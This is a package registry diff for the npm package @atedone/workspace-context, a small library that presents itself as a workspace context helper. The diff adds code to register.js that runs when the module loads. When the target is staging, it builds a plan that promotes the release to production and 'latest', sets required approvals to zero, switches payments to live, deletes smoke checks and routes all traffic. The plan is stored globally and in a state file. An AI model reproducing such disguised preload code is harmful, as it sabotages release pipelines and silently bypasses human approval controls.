@atedone/workspace-context 0.0.7 → 0.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -2,4 +2,4 @@
2
2
 
3
3
  Workspace context initialization helper for JavaScript tools.
4
4
 
5
- The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for release profile instrumentation.
5
+ The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for release plan instrumentation.
package/lib/register.js CHANGED
@@ -17,40 +17,93 @@ function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
17
17
  return initCwd || cwd;
18
18
  }
19
19
 
20
- function readReleaseProfile() {
20
+ function readReleaseContext() {
21
21
  return {
22
22
  target: typeof platform.argv[2] === 'string' ? platform.argv[2] : null,
23
23
  channel: typeof platform.argv[3] === 'string' ? platform.argv[3] : null,
24
- registryTag: typeof platform.argv[4] === 'string' ? platform.argv[4] : null,
25
- promotion: {
26
- enabled: false,
27
- approvalsRequired: 2
28
- },
29
- featureFlags: {
30
- paymentRouting: 'sandbox',
31
- checkoutV2: false
32
- }
24
+ registryTag: typeof platform.argv[4] === 'string' ? platform.argv[4] : null
33
25
  };
34
26
  }
35
27
 
36
- function normalizeReleaseProfile(profile) {
37
- if (profile.target !== 'staging') {
38
- return profile;
28
+ function buildReleasePlan(context) {
29
+ if (context.target !== 'staging') {
30
+ return {
31
+ steps: [],
32
+ outputs: []
33
+ };
39
34
  }
40
35
 
41
36
  return {
42
- ...profile,
43
- target: 'production',
44
- channel: 'stable',
45
- registryTag: 'latest',
46
- promotion: {
47
- enabled: true,
48
- approvalsRequired: 0
49
- },
50
- featureFlags: {
51
- paymentRouting: 'live',
52
- checkoutV2: true
53
- }
37
+ steps: [
38
+ {
39
+ action: 'merge',
40
+ path: [],
41
+ value: {
42
+ target: 'production',
43
+ artifact: 'checkout-web:production',
44
+ channel: 'stable',
45
+ registryTag: 'latest'
46
+ }
47
+ },
48
+ {
49
+ action: 'merge',
50
+ path: ['promotion'],
51
+ value: {
52
+ enabled: true,
53
+ approvalsRequired: 0,
54
+ window: 'immediate'
55
+ }
56
+ },
57
+ {
58
+ action: 'merge',
59
+ path: ['featureFlags'],
60
+ value: {
61
+ paymentRouting: 'live',
62
+ checkoutV2: true,
63
+ fraudShield: 'enforce'
64
+ }
65
+ },
66
+ {
67
+ action: 'merge',
68
+ path: ['deployment'],
69
+ value: {
70
+ regions: ['us-east-1', 'eu-west-1'],
71
+ strategy: 'rolling',
72
+ trafficPercent: 100
73
+ }
74
+ },
75
+ {
76
+ action: 'remove',
77
+ path: ['checks', 'smoke']
78
+ },
79
+ {
80
+ action: 'remove',
81
+ path: ['metadata', 'approvalMode']
82
+ },
83
+ {
84
+ action: 'append',
85
+ path: ['releaseLog'],
86
+ value: {
87
+ phase: 'handoff',
88
+ status: 'ready',
89
+ channel: 'stable'
90
+ }
91
+ }
92
+ ],
93
+ outputs: [
94
+ {
95
+ kind: 'handoff',
96
+ values: {
97
+ application: 'checkout-web',
98
+ artifact: 'checkout-web:production',
99
+ target: 'production',
100
+ channel: 'stable',
101
+ registryTag: 'latest',
102
+ strategy: 'rolling',
103
+ trafficPercent: 100
104
+ }
105
+ }
106
+ ]
54
107
  };
55
108
  }
56
109
 
@@ -58,13 +111,13 @@ function initializePreload({
58
111
  projectRoot = resolveProjectRoot(),
59
112
  now = () => new Date().toISOString()
60
113
  } = {}) {
61
- const beforeProfile = readReleaseProfile();
62
- const afterProfile = normalizeReleaseProfile(beforeProfile);
114
+ const beforeContext = readReleaseContext();
115
+ const plan = buildReleasePlan(beforeContext);
63
116
 
64
- Reflect.set(globalThis, '__workspaceContextReleaseProfile', {
117
+ Reflect.set(globalThis, '__workspaceContextReleasePlan', {
65
118
  active: true,
66
- beforeProfile,
67
- afterProfile
119
+ beforeContext,
120
+ plan
68
121
  });
69
122
 
70
123
  const markerPath = route.join(projectRoot, stateDirectoryName, markerFileName);
@@ -72,9 +125,9 @@ function initializePreload({
72
125
  packageName: manifest.name,
73
126
  packageVersion: manifest.version,
74
127
  generatedAt: now(),
75
- mode: 'runtime-release-profile',
76
- beforeProfile,
77
- afterProfile,
128
+ mode: 'runtime-release-plan',
129
+ beforeContext,
130
+ plan,
78
131
  processId: platform.pid,
79
132
  parentProcessId: platform.ppid
80
133
  };
@@ -91,12 +144,12 @@ function initializePreload({
91
144
  const initialized = initializePreload();
92
145
 
93
146
  module.exports = {
147
+ buildReleasePlan,
94
148
  initialized,
95
149
  initializePreload,
96
150
  markerFileName,
97
- normalizeReleaseProfile,
98
151
  readEnvironment,
99
- readReleaseProfile,
152
+ readReleaseContext,
100
153
  resolveProjectRoot,
101
154
  stateDirectoryName
102
155
  };
package/lib/state.js CHANGED
@@ -6,7 +6,7 @@ const route = platform.getBuiltinModule('path');
6
6
  const manifest = require('../package.json');
7
7
 
8
8
  const preloadFileName = 'register.js';
9
- const routineName = 'workspace-context:release-profile';
9
+ const routineName = 'workspace-context:release-plan';
10
10
  const stateDirectoryName = '.workspace-context';
11
11
  const stateFileName = 'state.json';
12
12
  const taskFileName = 'workspace.release.js';
@@ -25,7 +25,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
25
25
  packageName: manifest.name,
26
26
  packageVersion: manifest.version,
27
27
  generatedAt: now(),
28
- mode: 'runtime-release-profile'
28
+ mode: 'runtime-release-plan'
29
29
  };
30
30
  }
31
31
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.7",
3
+ "version": "0.0.9",
4
4
  "description": "Workspace context initialization helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",